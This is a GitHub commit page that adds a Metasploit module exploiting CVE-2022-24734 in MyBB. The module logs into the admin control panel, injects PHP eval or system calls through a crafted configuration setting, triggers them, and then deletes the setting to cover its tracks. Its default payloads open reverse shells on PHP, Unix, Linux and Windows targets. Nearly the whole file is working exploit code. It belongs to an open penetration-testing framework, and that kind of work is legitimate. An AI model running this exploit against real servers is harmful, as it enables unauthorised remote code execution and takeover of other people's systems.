Skip to content

Commit 1f304ef

Browse files
Add module exploit for MyBB RCE - CVE-2022-24734
1 parent e386dad commit 1f304ef

File tree

1 file changed

+296
-0
lines changed

1 file changed

+296
-0
lines changed
Lines changed: 296 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,296 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Powershell
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'MyBB Admin Control Code Injection RCE',
19+
'Description' => %q{
20+
This exploit module leverages an improper input validation
21+
vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
22+
the context of the user running the application.
23+
24+
MyBB Admin Control setting page calls PHP `eval` function with an
25+
unsanitized user input. The exploit adds a new setting, injecting the
26+
payload in the vulnerable field, and triggers its execution with a
27+
second request. Finally, it takes care of cleaning up and removes the
28+
setting.
29+
30+
Note that authentication is required for this exploit to work and the
31+
account must have rights to add or update settings (typically, myBB
32+
administrator role).
33+
},
34+
'License' => MSF_LICENSE,
35+
'Author' => [
36+
'Cillian Collins', # vulnerability research
37+
'Altelus', # original PoC
38+
'Christophe De La Fuente' # MSF module
39+
],
40+
'References' => [
41+
[ 'URL', 'https://github.com/mybb/mybb/security/advisories/GHSA-876v-gwgh-w57f'],
42+
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-22-503/'],
43+
[ 'URL', 'https://github.com/Altelus1/CVE-2022-24734'],
44+
[ 'CVE', '2022-24734']
45+
],
46+
'Platform' => %w[php unix linux win],
47+
'Privileged' => false,
48+
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
49+
'Targets' => [
50+
[
51+
'PHP',
52+
{
53+
'Platform' => 'php',
54+
'Arch' => ARCH_PHP,
55+
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
56+
'Type' => :in_memory
57+
}
58+
],
59+
[
60+
'Unix (In-Memory)',
61+
{
62+
'Platform' => 'unix',
63+
'Arch' => ARCH_CMD,
64+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
65+
'Type' => :in_memory
66+
}
67+
],
68+
[
69+
'Linux (Dropper)',
70+
{
71+
'Platform' => 'linux',
72+
'Arch' => [ARCH_X86, ARCH_X64],
73+
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
74+
'Type' => :dropper
75+
}
76+
],
77+
[
78+
'PowerShell (In-Memory)',
79+
{
80+
'Platform' => 'win',
81+
'Arch' => [ARCH_X86, ARCH_X64],
82+
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
83+
'Type' => :psh_memory
84+
}
85+
],
86+
[
87+
'Windows (In-Memory)',
88+
{
89+
'Platform' => 'win',
90+
'Arch' => ARCH_CMD,
91+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' },
92+
'Type' => :in_memory
93+
}
94+
],
95+
[
96+
'Windows (Dropper)',
97+
{
98+
'Platform' => 'win',
99+
'Arch' => [ARCH_X86, ARCH_X64],
100+
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' },
101+
'Type' => :dropper
102+
}
103+
]
104+
],
105+
'DisclosureDate' => '2022-03-09',
106+
'DefaultTarget' => 0,
107+
'Notes' => {
108+
'Stability' => [CRASH_SAFE],
109+
'Reliability' => [REPEATABLE_SESSION],
110+
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
111+
}
112+
)
113+
)
114+
115+
register_options(
116+
[
117+
OptString.new('USERNAME', [ true, 'MyBB Admin CP uername' ]),
118+
OptString.new('PASSWORD', [ true, 'MyBB Admin CP password' ]),
119+
OptString.new('TARGETURI', [ true, 'The URI of the MyBB application', '/'])
120+
]
121+
)
122+
end
123+
124+
def check
125+
res = send_request_cgi({
126+
'uri' => normalize_uri(target_uri.path, 'index.php'),
127+
'method' => 'GET',
128+
'vars_get' => { 'intcheck' => 1 }
129+
})
130+
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
131+
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
132+
133+
# see https://github.com/mybb/mybb/blob/feature/inc/class_core.php#L307-L310
134+
unless res.body.include?('&#077;&#089;&#066;&#066;')
135+
return CheckCode::Unknown("#{peer} - Cannot find MyBB forum running at #{target_uri.path}")
136+
end
137+
138+
print_good("MyBB forum found running at #{target_uri.path}")
139+
140+
return CheckCode::Detected
141+
rescue ::Rex::ConnectionError => e
142+
return CheckCode::Unknown("#{peer} - Could not connect to web service. Error: #{e}")
143+
end
144+
145+
def login
146+
vprint_status('Attempting login')
147+
148+
cookie_jar.cleanup(true)
149+
res = send_request_cgi({
150+
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
151+
'method' => 'POST',
152+
'keep_cookies' => true,
153+
'vars_post' => {
154+
'username' => datastore['USERNAME'],
155+
'password' => datastore['PASSWORD'],
156+
'do' => 'login'
157+
}
158+
})
159+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
160+
unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)
161+
fail_with(Failure::NoAccess, "#{peer} - Invalid credentials")
162+
end
163+
164+
print_good('Login successful!')
165+
end
166+
167+
def send_config_settings(method: 'GET', action: 'add', vars_get: {}, vars_post: {}, check_response: true)
168+
req_hash = {
169+
'uri' => normalize_uri(target_uri.path, '/admin/index.php'),
170+
'method' => method,
171+
'vars_get' => {
172+
'module' => 'config-settings',
173+
'action' => action
174+
}.merge(vars_get)
175+
}
176+
req_hash['vars_post'] = vars_post unless vars_post.blank?
177+
res = send_request_cgi(req_hash, datastore['WfsDelay'] > 0 ? datastore['WfsDelay'] : 2)
178+
if check_response && res.nil?
179+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response")
180+
end
181+
res
182+
end
183+
184+
def exploit
185+
login
186+
187+
res = send_config_settings
188+
if res.body.include?('Access Denied')
189+
fail_with(Failure::NoAccess, "#{peer} - Supplied user doesn't have the rights to add a setting")
190+
end
191+
192+
vprint_status('Adding a malicious settings')
193+
doc = res.get_html_document
194+
@my_post_key = doc.xpath('//input[@name="my_post_key"]/@value').text
195+
196+
case target['Type']
197+
when :in_memory
198+
execute_command(payload.encoded)
199+
when :psh_memory
200+
cmd = cmd_psh_payload(
201+
payload.encoded,
202+
payload_instance.arch.first,
203+
{ remove_comspec: true, encode_final_payload: true }
204+
)
205+
execute_command(cmd)
206+
when :dropper
207+
execute_cmdstager
208+
end
209+
rescue ::Rex::ConnectionError
210+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
211+
end
212+
213+
def send_payload(cmd)
214+
vprint_status('Adding a crafted configuration setting entry with the payload')
215+
216+
case target['Platform']
217+
when 'php'
218+
cmd = cmd.gsub(/"/, '"' => '\\"')
219+
cmd = cmd.gsub(/\$/, '$' => '\\$')
220+
extra = "\" . eval(\"#{cmd}\") .\""
221+
when 'win'
222+
cmd = cmd.gsub(/'/, "'" => "\\'")
223+
if target['Arch'] == ARCH_CMD
224+
# Force cmd to run in the background (only works for `cmd`)
225+
extra = "\" . pclose(popen('start /B #{cmd}', 'r')) .\""
226+
else
227+
extra = "\" . system('#{cmd}') .\""
228+
end
229+
else
230+
cmd = cmd.gsub(/'/, "'" => "\\'")
231+
extra = "\" . system('#{cmd} > /dev/null &') .\""
232+
end
233+
234+
post_data = {
235+
my_post_key: @my_post_key,
236+
title: Rex::Text.rand_text_alpha(rand(8...16)),
237+
description: Rex::Text.rand_text_alpha(rand(8...16)),
238+
gid: 1,
239+
disporder: '',
240+
name: Rex::Text.rand_text_alpha(rand(8...16)),
241+
type: "\tphp",
242+
extra: extra,
243+
value: Rex::Text.rand_text_alpha(rand(8...16))
244+
}
245+
246+
res = send_config_settings(method: 'POST', vars_post: post_data)
247+
unless res.code == 302
248+
doc = res.get_html_document
249+
err = doc.xpath('//div[@class="error"]').text
250+
fail_with(Failure::Unknown, "#{peer} - Exploit didn't work. Reason: #{err}")
251+
end
252+
253+
vprint_good('Payload successfully sent')
254+
end
255+
256+
def trigger_payload
257+
vprint_status('Triggering the payload execution')
258+
# We're not expecting response to this query
259+
send_config_settings(action: 'change', check_response: false)
260+
end
261+
262+
def remove_setting
263+
vprint_status('Removing the configuration setting')
264+
265+
vprint_status('Grab the delete parameters')
266+
res = send_config_settings(action: 'manage')
267+
if res.body.include?('<title>MyBB Control Panel - Login</title>')
268+
# this exploit seems to logout users sometimes, so, try to login again and retry
269+
print_status('User session is not valid anymore. Trying to login again to cleanup')
270+
login
271+
res = send_config_settings(action: 'manage')
272+
end
273+
274+
doc = res.get_html_document
275+
control_links = doc.xpath('//div[@class="popup_item_container"]/a/@href')
276+
uri = control_links.detect do |href|
277+
href.text.include?('action=delete') && href.text.include?("my_post_key=#{@my_post_key}")
278+
end
279+
if uri.nil?
280+
print_warning("#{peer} - URI not found in `Modify Settings` page - cannot cleanup")
281+
return
282+
end
283+
284+
vprint_status('Send the delete request')
285+
params = uri.text.split('?')[1]
286+
get_data = CGI.parse(params).transform_values(&:join)
287+
send_config_settings(method: 'POST', vars_get: get_data)
288+
end
289+
290+
def execute_command(cmd, _opt = {})
291+
send_payload(cmd)
292+
trigger_payload
293+
remove_setting
294+
print_status('Shell incoming...')
295+
end
296+
end

0 commit comments

Comments
 (0)